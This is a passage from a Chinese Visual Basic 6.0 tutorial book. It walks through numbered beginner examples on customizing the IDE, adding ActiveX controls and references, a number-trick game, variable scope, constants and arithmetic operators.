Visual Basic与多数Windows的应用程序一样，把菜单中常用的功能放进了工具栏中。通过工具栏可以迅速地访问常用的菜单命令。Visual Basic 6.0常用的工具栏有4种，即标准工具栏、编辑工具栏、调试工具栏和窗体编辑器。也可以根据自己的需要，将常用功能放在工具栏中，定制自己的工具栏。自定义工具栏窗口如图1.5所示。

[image: ]
图1.5　自定义工具栏窗口



设计过程

（1）新建一个基于对话框的应用程序。

（2）在工程菜单中选择“视图”/“工具栏”/“自定义”命令，打开“自定义”对话框。

（3）打开的工程属性对话框自动显示到“工具栏”选项卡。

（4）在列表中选中要添加到工具栏中的选项。

（5）单击“工具栏”选项卡中的“新建”按钮，弹出“新建工具栏”对话框，输入新建的工具栏名称后单击“确定”按钮。

（6）在“自定义”对话框中选择“命令”选项卡，将所需要的工具用鼠标左键拖入新建的工具栏中，即可创建自定义的工具栏。

秘笈心法

心法领悟003：使用快捷菜单定制工具栏。

在工具栏的空白处单击鼠标右键，可弹出工具栏列表的快捷菜单，快捷菜单命令可以选择要添加到工具栏中的选项，也可以选择“自定义”命令打开“自定义”对话框进行设置。



 实例004　窗体的布局

光盘位置：光盘\MR\01\004

初级

趣味指数：[image: ]




实例说明

不同的程序，需要不同的启动位置，但大部分程序启动位置应在屏幕中央。用户可以通过窗体的属性设置，如图1.6所示。

[image: ]
图1.6　“属性”窗口



设计过程

设置启动窗口位于窗体中央的程序代码如下：



Private Sub Form_Load()
Form1.StartUpPosition = 2
End Sub




也可通过“窗体布局”窗口设置，如图1.7所示。

[image: ]
图1.7　通过窗体布局窗口设置



环境中所有可见的窗体都将显示出来。在运行时，按下鼠标按钮，可以将窗体定位在希望它出现的地方。

秘笈心法

心法领悟004：“窗体布局”窗口不显示窗体。

有时新打开或创建的功能在“窗体布局”窗口中看不到当前的窗体，这时需要将程序运行一次，再查看“窗体布局”窗口，工程中的窗体就会显示出来。



 实例005　对齐控件

光盘位置：光盘\MR\01\005

初级

趣味指数：[image: ]




实例说明

为了开发出来的程序界面美观大方，如何设计界面和如何摆放控件是相当重要的。下面以创建学生信息窗体界面为例，介绍如何调整与对齐控件。设计后的效果如图1.8所示。

[image: ]
图1.8　自定义窗口



关键技术

对窗体上的控件进行调整与对齐有两种方法：

第一种方法是选中要对齐的控件，调整它们的Left或者Top属性，使其对齐。第二种方法是使用窗体编辑器中的按钮，对选择的控件进行调整或者对齐。使用窗体编辑器中的按钮进行调整更加方便、简单。这里介绍使用窗体编辑器中的按钮对窗体上的控件进行调整和对齐。窗体编辑器如图1.9所示。

[image: ]
图1.9　窗体编辑器



设计过程

（1）新建一个基于对话框的应用程序。

（2）在工程工具栏空白处单击鼠标右键，在弹出的快捷菜单中选择“窗体编辑器”命令，使窗体编辑器工具栏显示在工程工具栏中。添加到工具栏中的窗体编辑器工具栏如图1.10所示。

[image: ]
图1.10　窗体编辑器



（3）在窗体上添加6个标签控件，并设置它们的Caption属性。

（4）在窗体上添加6个TextBox控件，并设置它们的Text属性为空。

（5）在窗体上添加两个CommandButton控件，并分别将它们的Caption属性设置为“保存”和“退出”。

（6）按住Ctrl键，在窗体中单击需要左对齐的控件。在工具栏中单击对齐下拉列表的下拉按钮，打开下拉列表，选择左对齐即可将选中的控件全部左对齐，如图1.11所示。

[image: ]
图1.11　将控件对齐



（7）其他控件对齐方法与（6）相同。设置完成后，单击锁头图标的按钮，将窗体锁定。锁定的窗体上控件不能移动和改变大小，这样可以避免因为不小心拖动而移动控件位置。

秘笈心法

心法领悟005：使用键盘控制选择控件位置和调整大小。

选中控件后，按住Shift键，按键盘上的方向键可以调整选择控件的大小。按住Ctrl键，按键盘上的方向键可以移动选择的控件。



 实例006　在工程中查找文本

光盘位置：光盘\MR\01\006

初级

趣味指数：[image: ]




实例说明

对于一个项目文件，开发人员经常从代码中找到需要的文本，例如，查找一个关键字或一段代码等，这就需要使用查找功能。程序中的“查找”对话框如图1.12所示。

[image: ]
图1.12　“查找”对话框



关键技术

使用“查找”对话框进行查找可指定要搜索的范围，其中搜索的“当前过程”指光标所在的过程或函数，如下列过程：



Private Sub Form_Load()
…
End Sub




“当前模块”指当前的窗体或模块等文件。

“当前工程”指正打开的工程文件，包括所有的窗体、模块等。

设计过程

（1）打开要查找的代码区域。

（2）按Ctrl+F键，弹出“查找”对话框。

（3）在查找内容文本框中输入要查找的内容。

（4）选择要查找的区域、查找的方向和查找的方式。

（5）单击“查找下一个”按钮，即可在指定范围内进行查找。

秘笈心法

心法领悟006：文本查找技巧。

在代码中查找指定内容的下一个位置，可以将光标定位在指定的内容上，按Ctrl+F键在查找文本框中自动显示了要查找的内容。



 实例007　定制编程环境

光盘位置：光盘\MR\01\007

初级

趣味指数：[image: ]




实例说明

VB集成开发环境功能十分强大，选择“工具”/“选项”命令可以显示“选项”对话框，如图1.13所示。通过选取属性页以设置VB编程环境属性，从而定制满足用户要求的编程环境。“选项”对话框包含“编辑器”、“编辑器格式”、“通用”、“可连接的”、“环境”和“高级”多个选项卡，可以分别用来设置编程环境各方面的属性。

关键技术

1．“编辑器”选项卡

（1）代码设置


	“自动语法检测”：决定当输入一行代码后，VB是否应当自动校验语法正确性。

	“要求变量声明”：决定模块中是否需要明确的变量说明。选中该复选框后，将把“选项显示”语句添加到任何新模块中的一般声明中去。



[image: ]
图1.13　“选项”对话框




	“自动列出成员”：显示一个框，该框将显示在当前插入点逻辑上完成语句的一些信息。

	“自动显示快速信息”：显示关于函数及其参数的信息。

	“自动显示数据提示”：中断模式时在“代码”窗口，显示在其上面放置光标的变量值或对象属性。所显示的限于在当前范围内的变量和对象。

	中断模式时，“立即”窗口也有数据提示。如果提供了完整限定的对象名称，则对象属性的值无论范围都能显示。

	“自动缩进”：对第一行代码进行制表；所有后续行都将以该制表符位置为起点。

	“Tab宽度”：设置制表符宽度，其范围可以是1～32个空格；默认值是4个空格。



（2）窗口设置


	“编辑时可拖放文本”：在当前代码内，从“代码”窗口向“立即”或者“监视”窗口内拖放部件。

	“缺省为整个模块查阅”：为新模块设置默认状态，从而可以在“代码”窗口内查看多个过程，查看方式是作为单个可滚动列表，或者每次一个过程。它不改变查看当前打开模块的方式。

	“过程分隔符”：显示或者隐藏出现在“代码”窗口中每个过程结尾处的分割符条。只有当“缺省为整个模块查阅”复选框被选中时它才起作用。



2．“编辑器格式”选项卡

该选项卡用来设置“代码”区域格式。

3．“通用”选项卡

该选项卡为当前的Visual Basic工程指定设置值、错误处理以及编译设置值。

4．“可连接的”选项卡

该选项卡设置VB的各种窗口是否显示，如立即窗口、本地窗口和属性窗口等。

5．“环境”选项卡

将该对话框中所作的修改保存在注册表文件中，并在每次重新启动Visual Basic时自动加载这些修改。

6．“高级”选项卡

各种高级特征应用于Visual Basic工程时，可以使用该选项指定其设置值。

设计过程

（1）选择“工具”/“选项”命令，打开“选项”对话框。

（2）选择“编辑器”选项卡，将所有复选框选中，并设置Tab宽度为4。

（3）设置其他选项卡内容。

（4）设置完成后单击“确定”按钮，保存设置。

秘笈心法

心法领悟007：要求变量声明。

在“编辑器”选项卡中选中“要求变量声明”复选框，这样在代码的编辑区域中，将自动添加Option Explicit语句。在程序运行时，没有进行声明的变量将提示错误。这样可以避免遗忘变量声明。


 1.2　VB应用程序的开发步骤



 实例008　创建或打开新工程

光盘位置：光盘\MR\01\008

初级

趣味指数：[image: ]




实例说明

开发一个应用程序的第一步是创建一个新的工程。创建了新工程才能对工程进行设计和编辑。这里介绍如何创建或打开一个新工程。

设计过程

（1）打开Visual Basic环境后会自动弹出“新建工程”窗口；或者在已经打开的工程中通过Visual Basic菜单选择“文件”/“新建工程”命令，打开如图1.14所示的窗口。

[image: ]
图1.14　新建工程



（2）在“新建工程”窗口中选择需要的选项，如选择“标准EXE”，单击“确定”按钮，创建一个新的工程。

秘笈心法

心法领悟008：使用“添加工程”命令。

在打开的工程中通过菜单选择“文件”/“添加工程”命令可在当前集成环境中再添加一个工程，并创建一个工程组，在下次打开工程时工程组会将这组相关工程同时加载。



 实例009　建立并设计用户界面

光盘位置：光盘\MR\01\009

初级

趣味指数：[image: ]




实例说明

在应用程序设计过程中建立并设计用户界面是十分重要的，用户界面是程序与用户交互的平台，良好的用户界面能够增加程序的可用性。这里设计一个“你好，VB”的程序界面，来演示程序界面的建立与设计过程。

设计过程

（1）打开标准EXE工程后，Visual Basic自动创建一个应用程序窗体，用户也可以选择“工程”/“添加窗体”命令，打开“添加窗体”窗口。“添加窗体”窗口中提供了许多示例窗体，如图1.15所示。这里选择“窗体”，单击“打开”按钮，创建一个新窗体。

[image: ]
图1.15　添加窗体



（2）在窗体上添加一个Label（标签）控件和一个CommandButton（按钮控件），并调整控件的大小及位置。

（3）将CommandButton控件的Caption属性设置为“显示”。添加控件后的窗体界面如图1.16所示。

[image: ]
图1.16　添加控件到窗体上



秘笈心法

心法领悟009：在“资源管理器”中使用快捷菜单。

在工程的“资源管理器”中单击鼠标右键，在弹出的快捷菜单中选择“添加”/“添加窗体”命令可添加一个新的窗体。



 实例010　添加程序代码

光盘位置：光盘\MR\01\010

初级

趣味指数：[image: ]




实例说明

代码设计是程序设计最关键的部分，应用程序主要是通过代码实现相应功能的。这里实现为上面的实例添加代码，使程序运行时，单击窗体上的按钮显示“你好，VB”的字样。

设计过程

双击按钮控件Command1，打开代码区域，并自动添加Command1的Click事件过程。在其Click事件过程中编写如下代码：



Private Sub Command1_Click()
Label1.FontSize = 60                           '设置标签中字体的大小
Label1.Caption = "你好，VB！"                  '设置标签的显示内容
End Sub




秘笈心法

心法领悟010：打开“代码编辑”窗口。

在工程的“资源管理器”上单击“查看代码”按钮，就会出现当前窗体的“代码编辑”窗口。



 实例011　运行调试程序

光盘位置：光盘\MR\01\011

初级

趣味指数：[image: ]




实例说明

程序设计完成后，要对程序进行运行调试，看程序是否能够正常运行，并对产生的错误进行处理。这里对上面设计的“你好，VB”程序进行运行调试。

设计过程

[image: ]
图1.17　运行调试程序



按F5键运行程序，或选择“运行”/“启动”命令，也可以单击调试工具栏中的“运行”按钮。程序运行后，单击“显示”按钮，程序将执行单击事件中的程序语句，在Label控件中显示“你好，VB！”的信息，如图1.17所示。

程序正常运行。

秘笈心法

心法领悟011：设置断点调试。

断点调试是调试方式中比较常用到的，在程序运行到添加断点的代码处将停住，可以查看变量值等。在要添加断点的代码语句前面的灰色区域内单击鼠标即可添加断点，或者在工具栏中选择添加断点按钮。



 实例012　保存程序并生成可执行文件

光盘位置：光盘\MR\01\012

初级

趣味指数：[image: ]




实例说明

程序设计完成后要将程序文件保存在磁盘中，并生成可执行文件，供用户使用。

设计过程

（1）选择“文件”/“保存工程”命令，打开“文件另存为”窗口，如图1.18所示，在该窗口中单击“保存”按钮，保存文件扩展名为.frm的窗体文件和扩展名为.vbp的工程文件。

[image: ]
图1.18　保存工程



（2）选择“文件”/“生成工程1.exe”命令，打开“生成工程”窗口，在“文件名”文本框中输入“你好VB.exe”后，单击“确定”按钮，如图1.19所示。

[image: ]
图1.19　生成可执行文件




说明：
 在生成可执行文件之前，单击窗口中的“选项”按钮，打开“工程属性”窗口。在此窗口中可以修改应用程序的版本号、应用程序标题、版本信息、程序编译方式等信息，如图1.20所示。

[image: ]
图1.20　“工程属性”窗口



秘笈心法

心法领悟012：生成可执行文件可对程序进行编译。

将工程生成可执行文件可对程序进行编译，当代码中存在错误时，可通过编译检测出来。


 1.3　控件注册和对象引用



 实例013　添加ActiveX控件

光盘位置：光盘\MR\01\013

初级

趣味指数：[image: ]




实例说明

ActiveX控件是VB工具箱的扩充部分，使用时一定要添加。添加方法是：选择“工程”/“部件”命令，打开“部件”对话框，选择其中所要添加的控件。这里添加ADO控件和DataGrid控件，如图1.21所示。

[image: ]
图1.21　“部件”对话框



设计过程

（1）打开工程。

（2）选择“工程”/“部件”命令，打开“部件”对话框。

（3）在“部件”对话框的列表中选中Microsoft ADO Data Control 6.0和Microsoft DataGrid Control 6.0复选框。

（4）单击“确定”按钮，将选择的控件添加到工具箱中。

秘笈心法

心法领悟013：使用快捷菜单打开“部件”对话框。

在工具箱的空白处单击鼠标右键，在弹出的快捷菜单中选择“部件”命令，可打开“部件”对话框。这是一种比较快捷的操作方式。



 实例014　引用对象

光盘位置：光盘\MR\01\014

初级

趣味指数：[image: ]




实例说明

在编写程序时，有时需要使用其他的应用程序的对象，如果不引用，程序编译时会显示编译错误。如在代码中使用了（没引用的）ADO对象，运行程序会显示如图1.22所示的对象未引用错误。引起ADO对象应用错误的代码如下：

[image: ]
图1.22　引用错误





Dim Cn As New ADODB.Connection                '引用ADO对象
Dim Rs As New ADODB.Recordset




这里以引用ADO对象为例，介绍如何引用对象。

设计过程

（1）打开工程。

（2）选择“工程”/“引用”命令，打开“引用”对话框。

（3）在“引用”对话框的列表中选中Microsoft ActiveX Data Objects 2.5 Library复选框，如图1.23所示。

[image: ]
图1.23　引用对象



（4）单击“确定”按钮，引用选择的对象到工程中。

（5）可以使用对象浏览器来查看工程中引用的对象（选择“视图”/“对象浏览器”命令来打开对象浏览器），浏览新增的对象，如图1.24所示。

[image: ]
图1.24　对象浏览器



秘笈心法

心法领悟014：其他引用对象。

可通过单击“引用”对话框中的“浏览”按钮，选择其他路径中的引用对象。



 实例015　添加第三方控件

光盘位置：光盘\MR\01\015

初级

趣味指数：[image: ]




实例说明

VB 6.0的强大功能很大一部分归功于其丰富多彩、功能强大的第三方控件，其应用范围非常广泛，下面以第三方控件ctlbar32.ocx为例，介绍添加第三方控件的方法。

设计过程

（1）首先将控件ctlbar32.ocx复制到C:\WINDOWS\system32或C:\WINDOWS\system目录下（这里假设C盘为系统盘），然后注册，注册的方法为在“运行中”输入“Regsvr32 C:\WINDOWS\system32\ctlbar32.ocx”，然后单击“确定”按钮，注册控件。

（2）启动Visual Basic 6.0，创建一个工程。

（3）选择“工程”/“部件”命令，在弹出的对话框中选中ctListBar List Bar Control复选框即可将CtListBar控件添加到工具箱中，如图1.25所示。

[image: ]
图1.25　添加第三方控件CtListBar控件



秘笈心法

心法领悟015：外部控件文件损坏。

有时添加到工具箱中的ActiveX等外部控件不能使用，则可以对该控件重新注册，注册方法参见实例015。如果注册不成功，说明该文件被破坏，需要找到正确的文件替换损坏了的文件，然后重新注册。



 实例016　加载和使用API阅览器

光盘位置：光盘\MR\01\016

初级

趣味指数：[image: ]




实例说明

由于API提供了很多附加功能，才使VB的功能强大起来。在VB中使用API必须先声明。API函数的声明语句一般都很长很复杂，所以要将API函数的声明语句都背下来是很浪费时间和精力的。VB提供了API浏览器，在API阅览器中可以根据API函数的名称查询它的声明语句，这样就不需要将声明语句都记住了。这里介绍如何在VB中加载和使用API阅览器。

设计过程

在VB中使用API阅览器要先将其加载到VB中，下面是加载API阅览器的步骤：

（1）选择“外接程序”/“外接程序管理器”命令，打开“外接程序管理器”对话框。

（2）双击“外接程序管理器”对话框中的VB 6 API Viewer列表项，则该列表项旁将出现“加载”字样。

（3）最后单击“确定”按钮，API阅览器即加载成功。选择“外接程序”命令，就会看到“API 阅览器”命令。

下面介绍使用API阅览器查找API函数的步骤：

（1）选择“外接程序”/“API阅览器”命令，会出现“API阅览器”对话框。

（2）在“API阅览器”对话框中选择“文件”/“加载文本文件”命令，在打开的对话框中查找Win32api.txt文件，找到后打开该文件。这时在“API阅览器”对话框的“可用项”中列出大量可以使用的API函数名称。

（3）在“API阅览器”对话框的“键入您要查找的内容的开头几个字母”文本框中输入要查找的API函数名称，然后单击“添加”按钮。该API函数的声明语句会显示在“选定项”编辑框中。此时的API阅览器如图1.26所示。

[image: ]
图1.26　单击“添加”按钮后的API阅览器



（4）最后单击“复制”按钮，把API函数声明复制到Windows剪贴板上。

（5）打开使用API函数的代码窗口，单击声明窗体级变量或模块级变量的地方，最后单击工具栏中的“复制”按钮。然后即可在代码窗口中看到该API函数的完整声明，就可以在程序中使用该API函数了。

秘笈心法

心法领悟016：API函数的声明语句。

API函数一般都在模块中进行声明，声明为Public类型，可以在所有窗体中使用该函数。但是在窗体代码中声明API函数就只能声明为私有类型。在当前窗体代码中进行使用。



 实例017　定制模板库

光盘位置：光盘\MR\01\017

初级

趣味指数：[image: ]




实例说明

为了提高开发效率，可以将开发项目分类，然后根据不同类别项目添加不同的引用对象和部件，这样可以大大提高项目开发效率。VB默认提供了一些模板，在新建工程时能够进行选择，这里实现定制自己的模板库。

设计过程

（1）在VB安装路径下新建一个文件夹（笔者创建的是模板文件夹），然后在该文件夹中建立projects文件　 夹，如图1.27所示。

[image: ]
图1.27　在VB安装路径下新建一个文件夹



（2）按数据库、网络和高级应用建立项目，添加相应的引用对象和部件，保存到projects文件夹下。

使用已存在的模板方法很简单：选择“文件”/“新建”命令，打开如图1.28所示的对话框，选中模板，如选择“数据库项目”选项。

[image: ]
图1.28　选择模板



秘笈心法

心法领悟017：定制窗体模板。

也可以使用此方法定制一个窗体模板，直接添加到VB安装路径的窗体模板文件夹下。这样在添加新的窗体时，可以选择设计的窗体模板。


 1.4　趣味程序



 实例018　神秘的心理测试

光盘位置：光盘\MR\01\018

初级

趣味指数：[image: ]




实例说明

神秘心理测试是一款超准的测试游戏，在游戏中，用户可以任意选择一个两位数，把十位和个位相加，然后用这个数减去相加得到的数，记着这个最后结果，然后看着相应的数字列表，单击“点这里”按钮，你就会发现，最后得到的结果所对应的数字将显示出来，很神奇吧，运行程序如图1.29所示。

[image: ]
图1.29　神秘心理测试



关键技术

其实这个程序的设计思路非常简单，这里面有一个简单的数学原理，就是任意一个两位数，把十位和个位相加，然后用这个数减去相加得到的数，无外乎以下几种情况：9，18，27，36，45，54，63，72，81，因此在设计程序时，需要将这几个数字的图片设置为一样的图片，当用户单击“点这里”按钮时，在水晶球中显示的就是这个图片，而其他位置的图片则是随机显示的，在用户看来，就会觉得很神奇。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体。设置窗体名称为Frm_Main，将窗体的Caption属性设置为“神秘的心理测试”。设置窗体的Caption属性为事先设计好的图片。

（3）在窗体上添加100个Image控件，并将其名称设置为Ige_PIC的控件数组，用于显示随机的图片信息。

（4）在窗体的水晶球的位置放置一个Image控件，设置名称为Image1，用于显示选中的图片信息。

（5）在窗体上添加两个PictureBox控件，并向其中添加指定的图片，用于执行显示计算结果的图片和再来一次操作。

（6）在工程中再添加一个窗体，设置窗体名称为Frm_Temp，在其中添加24个Image控件，并设置为控件数组的形式，并向其中添加用于显示的图片信息，这里的图片是为了显示在主窗体中的，利用随机函数从这些图片中随机选出图片显示在Ige_PIC控件数组中。这里利用这个窗体的目的是可以直接在程序中选择图片而不用通过路径的方式来选择路径，使得这个程序只需要一个EXE文件即可在其他的计算机中运行，而不用将程序打包。

（7）程序设计步骤。

在窗体加载时，调用自定义过程PicInit，用来初始化随机图片信息，程序代码如下：



Private Sub Form_Load()
    PicInit
End Sub
Private Sub PicInit()
    Dim i As Integer
    Dim iPicNum As Integer
    For i = 0 To 99
        Randomize
        iPicNum = Rnd * 19
        Ige_PIC(i).Picture = Frm_Temp.Ige(iPicNum).Picture
    Next i
    Randomize
    iPicNum = Rnd * 19
    For i = 9 To 81 Step 9
        Ige_PIC(i).Picture = Frm_Temp.Ige(iPicNum).Picture
    Next i
End Sub




秘笈心法

心法领悟018：使用VB的帮助。

MSDN提供了内容丰富的帮助信息，可通过帮助文件查询相应的信息。借助VB的帮助文件可以更好地进行VB的编程学习。


第2章　语言基础

变量和常量

运算符与表达式

常用的函数与语句

条件语句

循环与跳转语句

对象与数据结构






 2.1　变量和常量



 实例019　局部变量制作计数器

光盘位置：光盘\MR\02\019

初级

趣味指数：[image: ]




实例说明

在过程中定义一个静态变量，利用这个静态变量充当计数器，当计数器大于某数值时出现提示并退出过程。例如，本实例当输入数字超过3次时，将弹出提示对话框，提示程序只能运行3次，程序的运行效果如图2.1所示。

[image: ]
图2.1　局部变量制作计数器



关键技术

本实例主要是通过定义静态局部变量作为计数器，记录输入数字的次数，并利用Val函数将输入的字符串转换为相应的数值来实现的。

（1）静态变量

在过程中，声明局部变量可以使用Dim语句或Static语句来完成，并且Static语句的一般形式与Dim语句相同，语法如下：



Static 变量名 As 数据类型




（2）Val函数

该函数用于返回包含于字符串内的数字，字符串中是一个适当类型的数值，语法如下：



Val(string)




参数说明

string：必选参数。string参数可以是任何有效的字符串表达式。

下面示例使用Val函数返回字符串中所含的数值。



Numval= Val("2457")                       '变量Numval的返回值是2457
Numval = Val(" 2 45 7")                   '变量Numval的返回值是2457
Numval = Val("24 and 57")                 '变量Numval的返回值是24




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“局部变量制作计数　 器”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个CommandButton控件，使用其默认名称，将Caption属性设置为“计数”。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Static j As Integer                    '定义静态变量
    j = j + 1  '计数
    If j > 3 Then
        MsgBox "只能运行3次"               '提示信息
        Exit Sub                           '跳出过程
    End If
    Dim i As Integer                       '记录输入数字
    i = Val(InputBox("请输入数字"))
    Select Case i
    Case 1
        MsgBox "一"
    Case 2
        MsgBox "二"
    Case 3
        MsgBox "三"
    Case Else
        MsgBox "我只会数到3"
    End Select
End Sub




秘笈心法

心法领悟019：使用Static语句和使用Dim语句声明变量的区别。

使用Static语句声明的变量称为静态变量，当一个过程结束时，过程中所用到的静态变量的值会保留，下次再调用该过程时，变量的初值是上次调用结束时被保留的值。

对于使用Dim语句声明的局部变量，随过程的调用而分配存储单元，并进行变量的初始化。一旦过程结束，变量的内容自动消失，占用的存储单元也被释放。因此，每次调用过程时，变量都将重新初始化。



 实例020　使用公用变量记录当前登录用户

光盘位置：光盘\MR\02\020

中级

趣味指数：[image: ]




实例说明

公用变量在Visual Basic应用程序中经常被使用。例如，在一个登录程序当中可以用公用变量来临时存储当前登录的用户名，实现判断登录的用户名是否正确的功能。

本实例将实现通过使用公用变量记录当前登录的用户，并在其他模块中访问这个变量的功能。在窗体中输入用户名和密码后，单击“确定”按钮，如果输入正确，显示“登录成功”窗体，并显示“欢迎mr用户登录”的提示信息，如图2.2和图2.3所示。



	[image: ]

	[image: ]




	图2.2　输入正确的用户名和密码
	图2.3　显示Form2窗体




关键技术

本实例主要是通过定义公用变量记录当前登录用户的用户名信息，公用变量是可以在任何模块的任意过程或函数中访问的变量，它是使用Public语句在模块的通用声明部分声明的变量，语法如下：



Public 变量名 As 数据类型




设计过程

（1）新建一个标准工程。

（2）在工程中添加两个窗体，窗体的名称使用其默认名称，将Caption属性设置为“使用公用变量记录当前登录用户”和“登录成功”，将StartUpPosition属性设置为“2-屏幕中心”。

（3）在Form1窗体上添加两个Label控件、两个TextBox控件和两个CommandBox控件。

（4）在Form2窗体上添加两个Label控件和一个CommandBox控件。

（5）主要程序代码如下。

单击“确定”按钮判断输入的用户名是否为mr、密码是否为mrsoft，当全部正确时显示Form2窗体代码如下：



Public c As String
Private Sub Command1_Click()
    Dim a As String, b As String
    a = "mr"                                                '用户名变量赋值
    b = "mrsoft"                                            '密码变量赋值
    If Text2.Text = b And Text1.Text = a Then               '如果用户名和密码都输入正确
        c = Text1.Text
        Form2.Show
    End If
End Sub




在Form2窗体中访问在Form1窗体中声明的公用变量c，并卸载Form1窗体，代码如下：



Private Sub Form_Load()
    Label1.Caption = "欢迎" & Form1.c & "用户登录"
    Unload Form1
End Sub





说明：
 说明：通过设置TextBox控件的PasswordChar属性为“*”，可以将TextBox控件中输入的内容用“*”代替。

秘笈心法

心法领悟020：变量的作用域。

变量可被调用或访问的范围称为变量的作用域。在过程中用Dim或Static定义变量（过程级变量），在各模块的通用部分可用关键字Dim或Private定义变量（模块级变量），也可用Public定义变量（全局级变量），在不同地方或用不同关键字定义的变量能被访问的范围是不同的，这个范围就是作用域。

变量的作用范围如下：

（1）利用Public、Private、Dim等语句来声明一个新变量。

在过程的内部仅能用Dim或Static来声明变量，其访问范围永远是私有的。

① 通过Static语句声明的变量在执行过程中一直存在，当过程结束后变量仍然存在，但对过程以外的代码无效。

② 通过Dim语句声明的变量在执行过程中一直存在，当过程结束后变量自动消失。

（2）在模块内以Private或Dim声明变量，在该模块内部，这些变量均可被任何代码访问，但其他模块则无法使用它们。

（3）如果以Public声明公有变量，则所有的代码均可对其进行访问。



 实例021　使用自定义常量计算圆的面积

光盘位置：光盘\MR\02\021

初级

趣味指数：[image: ]




实例说明

本实例实现了使用自定义常量计算圆面积的功能。局部常量在所需要使用的过程中声明，并且只能应用在该过程中，只有当该过程被程序调用时，该常量才存在，过程结束后该常量也将被内存释放掉。本实例通过使用局部常量Pi计算一个圆的面积，并将其结果显示在立即窗口中，如图2.4和图2.5所示。
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	图2.4　输入圆的半径
	图2.5　输出圆的面积




关键技术

本实例主要是通过使用自定义常量固定圆周率的值来实现的。常量是一个在程序运行时不会被改变的数值或字符串。通过声明和使用常量的标识符，代替一个在程序执行时不会改变的值，在程序维护时只需要修改这个常量的值即可改变程序中所有以该常量命名的值，从而使程序的维护变得简单。声明常量可以使用Const语句，语法如下：



[Public | Private] Const <常量名> [As <常数的数据类型>] = <常量表达式>




常量语法中各参数的说明如表2.1所示。

表2.1　常量语法中的参数说明



	参数
	说明



	Public
	可选参数。用于声明可在工程的所有模块的任何过程中使用这个常量



	Private
	可选参数。用于声明只能在包含该声明的模块中使用常量



	常量名
	必选参数。用于指定该常量名称，必须是合法的Visual Basic标识符



	常数的数据类型
	可选参数。可以是Byte、Boolean、Integer、Long、Currency、Single、Double、Decimal（目前尚不支持）、Date、String（对变长的字符串）、String * length（对定长的字符串）、Object、Variant、其他的用户自定义的类型或对象类型



	常量表达式
	必选参数。常量表达式中包括常量和操作符，但不包含变量，而且计算结果总是常值





说明：
 根据常量在程序中使用范围的不同，可以把常量分为局部常量、模块级常量与公用常量3种。可以通过Public关键字与Private关键字来区分该常量的作用范围。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“计算圆的面积”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Label控件、一个TextBox控件和一个CommandButton控件，用于显示、输入圆的半径，并计算圆的面积。

（4）程序的运行代码如下。

单击窗体中的“计算”按钮，声明局部常量Pi，并使用常量Pi计算圆的面积，将结果在立即窗口中输出，代码如下：



Private Sub Command1_Click()
    Const Pi = 3.1415926                                            '声明局部常量
    s = Pi * Val(Text1.Text) ^ 2                                    '使用常量进行计算
    Debug.Print s                                                   '将结果输出到立即窗口
End Sub





说明：
 说明：Debug指的是立即窗口。

秘笈心法

心法领悟021：常量与变量的区别。

在Visual Basic中常量和变量主要用来实现应用程序中数据的存储和交换。变量主要用于存储临时性的数据，而常量中保存的是特定类型的数据。


注意：
 在程序中如果改变已定义常量的值，则会出现错误提示。


 2.2　运算符与表达式



 实例022　计算加权平均值

光盘位置：光盘\MR\02\022

初级

趣味指数：[image: ]




实例说明

[image: ]
图2.6　计算加权平均值



本实例实现了计算加权平均值的功能，需要计算3种产品价格的加权平均值。运行本实例的程序后，分别在文本框Text1、文本框Text3和文本框Text5中输入每种产品的单价，在文本框Text2、文本框Text4和文本框Text6中输入每种产品的销售数量。单击“计算”按钮，显示结果如图2.6所示。

关键技术

本实例主要是通过运用Visual Basic 6.0的算术运算符方面的知识，并使用Round函数对加权平均值计算结果进行取整实现的。

（1）算术运算符

算术运算符按照优先级从高到低，依次为指数运算（∧）、乘法（*）运算、除法（／）运算、求余数运算（Mod）、整除运算（＼）、加法（+）和减法（-）运算。其中整除运算只求运算结果的整数部分。例如，在VB工程中的“立即”窗口中输出“5除以2”，代码如下：



Private Sub Form_Load()
    Debug.Print 5 \ 2
End Sub




结果为：2。

（2）Round函数

该函数用于返回一个数值，该数值是按照指定的小数位数进行四舍五入运算得到的结果，语法如下：



Round(expression [,numdecimalplaces])




参数说明

• expression：必选参数。要进行四舍五入运算的数值表达式。

‣ numdecimalplaces：可选参数。数字值，表示进行四舍五入运算时，小数点右边应保留的位数。如果忽略，则Round函数返回整数。


注意：
 Round函数最多可以接受的小数点位数为14位。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“计算加权平均值”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加10个Label控件，用于显示水果的单价和销量信息等；添加7个TextBox控件，用于显示水果单价和销量，并显示加权平均值结果；添加一个CommandButton控件，用于执行计算功能。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Text7.Text = jiaquan(Text1, Text2, Text3, Text4, Text5, Text6)
End Sub
Private Function jiaquan(ByVal a As Integer, ByVal b As Integer, ByVal c As Integer, ByVal d As Integer, ByVal e As Integer, ByVal f As Integer)
    Dim sum As Integer
    sum = (a * b + c * d + e * f) / (b + d + f)
    sum = Round(sum, 2)
    jiaquan = sum
End Function




秘笈心法

心法领悟022：使用算术运算符时需要注意的事项。

（1）当指数运算（∧）与负号（-）相邻时，负号（-）优先。

（2）运算符左右两边的操作数应是数值型数据，如果是数字字符或逻辑型数据，需要将它们先转换成数值数据后，再进行算术运算。

（3）在进行算术运算时，不要超出数据取值范围。对于除法运算，应保证除数不为0。



 实例023　金额大小写转换

光盘位置：光盘\MR\02\023

中级

趣味指数：[image: ]




实例说明

在开发商业管理软件时，经常会涉及大小写金额，例如，在销售商品的收银窗口，应收金额为188,888.00元，如果只使用小写，很容易将位数弄错，如果将小写金额转换为大写金额（壹十捌万捌千捌百捌十捌元）就很容易读取了。

例如，运行程序，在下边的文本框中输入金额的小写，然后在上边的文本框中显示相应的大写金额。程序的运行效果如图2.7所示。

[image: ]
图2.7　金额大小写转换



关键技术

本实例主要是通过利用Select Case结构，结合阿拉伯数字和汉字数字的规律，编写数字转换函数和位数转换函数。

（1）Select Case语句的使用

